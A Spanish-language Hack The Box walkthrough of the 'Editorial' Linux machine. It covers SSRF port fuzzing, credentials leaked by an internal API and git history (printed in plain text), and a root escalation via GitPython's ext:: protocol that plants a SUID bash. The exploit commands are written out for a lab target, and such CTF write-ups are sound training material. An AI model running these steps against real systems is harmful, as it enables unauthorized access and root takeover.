Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
        • Medium Level
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🎯 Resumen de Vulnerabilidades
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy Level

Editorial

PreviousBoardlightNextMedium Level

Last updated 1 day ago

Publicado: 06 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Editorial es una máquina Linux de dificultad Easy de HackTheBox que simula un sitio web editorial donde se pueden publicar libros. La máquina presenta vulnerabilidades de SSRF (Server-Side Request Forgery) que permiten enumerar servicios internos, exposición de credenciales a través de una API interna, filtración de información sensible en repositorios Git, y escalada de privilegios mediante un script Python vulnerable que utiliza GitPython de forma insegura.

El vector de ataque principal comienza con la explotación de SSRF para descubrir servicios internos, seguido de la obtención de credenciales a través de una API expuesta, movimiento lateral usando credenciales encontradas en el historial de Git, y finalmente escalada de privilegios aprovechando una configuración insegura de Git que permite ejecución de comandos arbitrarios.

🎯 Resumen de Vulnerabilidades

  • SSRF (Server-Side Request Forgery) - Puerto 80

  • Exposición de API interna - Puerto 5000

  • Credenciales hardcodeadas en respuestas de API

  • Filtración de credenciales en historial de Git

  • Ejecución de comandos via Git remote-ext protocol

  • Configuración insegura de GitPython

🔭 Reconocimiento

Ping para verificación en base a TTL

❯  ping -c2 10.10.11.20     
PING 10.10.11.20 (10.10.11.20) 56(84) bytes of data.
64 bytes from 10.10.11.20: icmp_seq=1 ttl=63 time=43.6 ms
64 bytes from 10.10.11.20: icmp_seq=2 ttl=63 time=44.3 ms

--- 10.10.11.20 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 43.635/43.952/44.270/0.317 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.20 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                 
22,80

Enumeración de servicios

 nmap -sC -sV -p$ports 10.10.11.20 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 09:30 CEST
Nmap scan report for 10.10.11.20
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

80 / TCP - editorial.htb

Revisando el contenido del sitio web encontramos otro dominio que añadimos al scope por si pudiese revelar algo.

🕷️Fuzzing de directorios y vhosts

Tras probar a realizar fuzzing con diversas herramientas como dirsearch, gobuster y feroxbuster, no encontramos ningún recurso que añadir a nuestro scope que pueda ser de utilidad ni tampoco ningún subdominio para editorial.htb ni tiempoarriba.htb.

📄 Análisis de la sección "Publish with us"

Vemos una función de carga de achivos que a priori no filtra por la extensión. Probamos a subir una web shell en php incrustada en una imagen e interceptamos la petición con burp:

🎯 Explotación - SSRF (Server-Side Request Forgery)

Cambiamos de estrategia y verificamos si podemos abusar del parámetro bookurl para explotar un SSRF. Para comprobar esto, hacemos una pequeña PoC, iniciamos en nuestro host de ataque un servidor web con python:

python3 -m http.server

En la solicitud, añadimos la ip de nuestro host de ataque:

Recibimos la petición en nuestro servidor con un 200:

🔎 Enumeración de puertos internos

Aprovechando la vulnerabilidad SSRF, verificamos si hay otros puertos o servicios ejecutándose internamente en la máquina:

  1. Guardamos la solicitud desde Burp indicando con la palabra FUZZ donde queremos realizar el fuzzing

  2. Utilizamos ffuf para realizar el ataque pasando como payload una lista numérica de 0 a 65535:

Y ahora con la herramienta ffuff realizar el ataque pasando como payload una lista numérica de 0 a 65535 que es el número posible de puertos:

ffuf -u http://editorial.htb/upload-cover -request ssrf.request -w <( seq 0 65535) -ac

Obtenemos una única respuesta en el puerto 5000.

🔓 Acceso a API interna - Puerto 5000

Realizamos una petición SSRF al puerto 5000 interno y descargamos la respuesta: Hacemos ahora una petición a ese puerto para ver qué nos devuelve:

Descargamos el enlace de la respuesta:

Descubrimiento crítico: El servicio interno expone una API que revela múltiples endpoints:

Leemos el contenido del fichero y vemos que parece que se trata de un JSON:

Usamos jq para obtener un mejor formato de salida:

cat 28a491b1-4c31-4547-a939-fe83d6591576 | jq
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

💎 Obtención de credenciales

Probamos todos los endpoints descubiertos y encontramos que /api/latest/metadata/messages/authors responde con información sensible:

{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

¡Credenciales obtenidas!

  • Usuario: dev

  • Contraseña: dev080217_devAPI!@

curl -s 'http://editorial.htb/static/uploads/bbd73882-bd37-46f9-a239-8f44a4286f8d' | jq .
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Obtenemos un usuario y una contraseña. Dado que disponemos de un servicio ssh en el puerto 22, merece la pena probar estas credenciales para ver si logramos ganar acceso a la máquina para obtener la primera flag en el directorio del usuario dev:

ssh dev@10.10.11.20
The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ whoami
dev
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$
dev@editorial:/home$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Jun  5  2024 .
drwxr-xr-x 18 root root 4096 Jun  5  2024 ..
drwxr-x---  4 dev  dev  4096 Jun  5  2024 dev
drwxr-x---  5 prod prod 4096 Jun  5  2024 prod
dev@editorial:/home$ cd dev
dev@editorial:~$ ls -la
total 32
drwxr-x--- 4 dev  dev  4096 Jun  5  2024 .
drwxr-xr-x 4 root root 4096 Jun  5  2024 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5  2024 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5  2024 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Jun  6 07:27 user.txt

🔄 Movimiento lateral: dev → prod

dev@editorial:/home$ sudo -l
[sudo] password for dev: 
Sorry, user dev may not run sudo on editorial.
dev@editorial:/home$ 

Encontramos una carpeta llamada apps en el directorio del usuario /dev que vemos que contiene un repositorio git

dev@editorial:~/apps/.git/info$ cd ..
dev@editorial:~/apps/.git$ ls -la
total 56
drwxr-xr-x  8 dev dev 4096 Jun  5  2024 .
drwxrwxr-x  3 dev dev 4096 Jun  5  2024 ..
drwxr-xr-x  2 dev dev 4096 Jun  5  2024 branches
-rw-r--r--  1 dev dev  253 Jun  4  2024 COMMIT_EDITMSG
-rw-r--r--  1 dev dev  177 Jun  4  2024 config
-rw-r--r--  1 dev dev   73 Jun  4  2024 description
-rw-r--r--  1 dev dev   23 Jun  4  2024 HEAD
drwxr-xr-x  2 dev dev 4096 Jun  5  2024 hooks
-rw-r--r--  1 dev dev 6163 Jun  4  2024 index
drwxr-xr-x  2 dev dev 4096 Jun  5  2024 info
drwxr-xr-x  3 dev dev 4096 Jun  5  2024 logs
drwxr-xr-x 70 dev dev 4096 Jun  5  2024 objects
drwxr-xr-x  4 dev dev 4096 Jun  5  2024 refs

El comando git statusmuestra todos los archivos que estaban presentes en la última confirmación que ya no están allí, por lo que se muestran como eliminados:

📚 Análisis del historial Git

Examinamos el historial de commits para buscar información sensible:

git log --oneline
dev@editorial:~/apps$ git log --oneline 
WARNING: terminal is not fully functional
Press RETURN to continue 
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app

Análisis de diferencias entre commits:

Podemos ver diferencias de cambios entre varios commits con el siguiente comando:

git diff [hash] [hash]
git diff 1e84a03 b73481b

¡Credenciales encontradas! Al comparar commits, descubrimos que se subieron credenciales del usuario de producción que posteriormente fueron eliminadas:

  • Usuario: prod

  • Contraseña: 080217_Producti0n_2023!@

dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ whoami
prod
prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:/home/dev/apps$ 

⬆️ Escalada de privilegios: prod → root

🔍 Enumeración de permisos sudo

Verificamos si el usuario prod puede ejecutar algo como root:

prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$ 

Verificamos los permisos que tiene el usuario prod sobre este script y vemos que puede leerlo y ejecutarlo:

prod@editorial:~$ ls -la /opt/internal_apps/clone_changes/clone_prod_change.py
-rwxr-x--- 1 root prod 256 Jun  4  2024 /opt/internal_apps/clone_changes/clone_prod_change.py

Revisamos el contenido del script para analizarlo:

#!/usr/bin/python3
import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

🚨 Identificación de la vulnerabilidad

Vulnerabilidades encontradas:

  1. Falta de sanitización del input del usuario (url_to_clone)

  2. Configuración peligrosa: protocol.ext.allow=always habilitado

  3. Ejecución con privilegios root via sudo

  4. Uso de git-remote-ext que permite ejecución de comandos locales

El protocolo ext:: de Git permite ejecutar comandos como si fueran servidores remotos, y la configuración protocol.ext.allow=always elimina todas las restricciones de seguridad.

💥 Explotación

Paso 1: Creamos un script malicioso que se ejecutará como root:

echo '#!/bin/bash' > /tmp/rootme.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/rootme.sh
chmod +x /tmp/rootme.sh

Paso 2: Ejecutar el script con git-remote-ext.Esto funciona porque ext::<cmd> hace que Git ejecute el comando como un "servidor remoto", y con protocol.ext.allow=always, no hay restricciones.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py ext::/tmp/rootme.sh

Paso 3: , usamos la shell con SUID para escalar a root:

/tmp/rootbash -p

Observamos que existen dos parámetros en el formulario (bookfile y bookurl), Obtenemos en la respuesta la URL donde ha quedado alojado el archivo:

Pero al tratar de acceder, parece que no se está ejecutando PHP en el sistema, ya que lo que hace es únicamente descargar el archivo:

🎮
🟩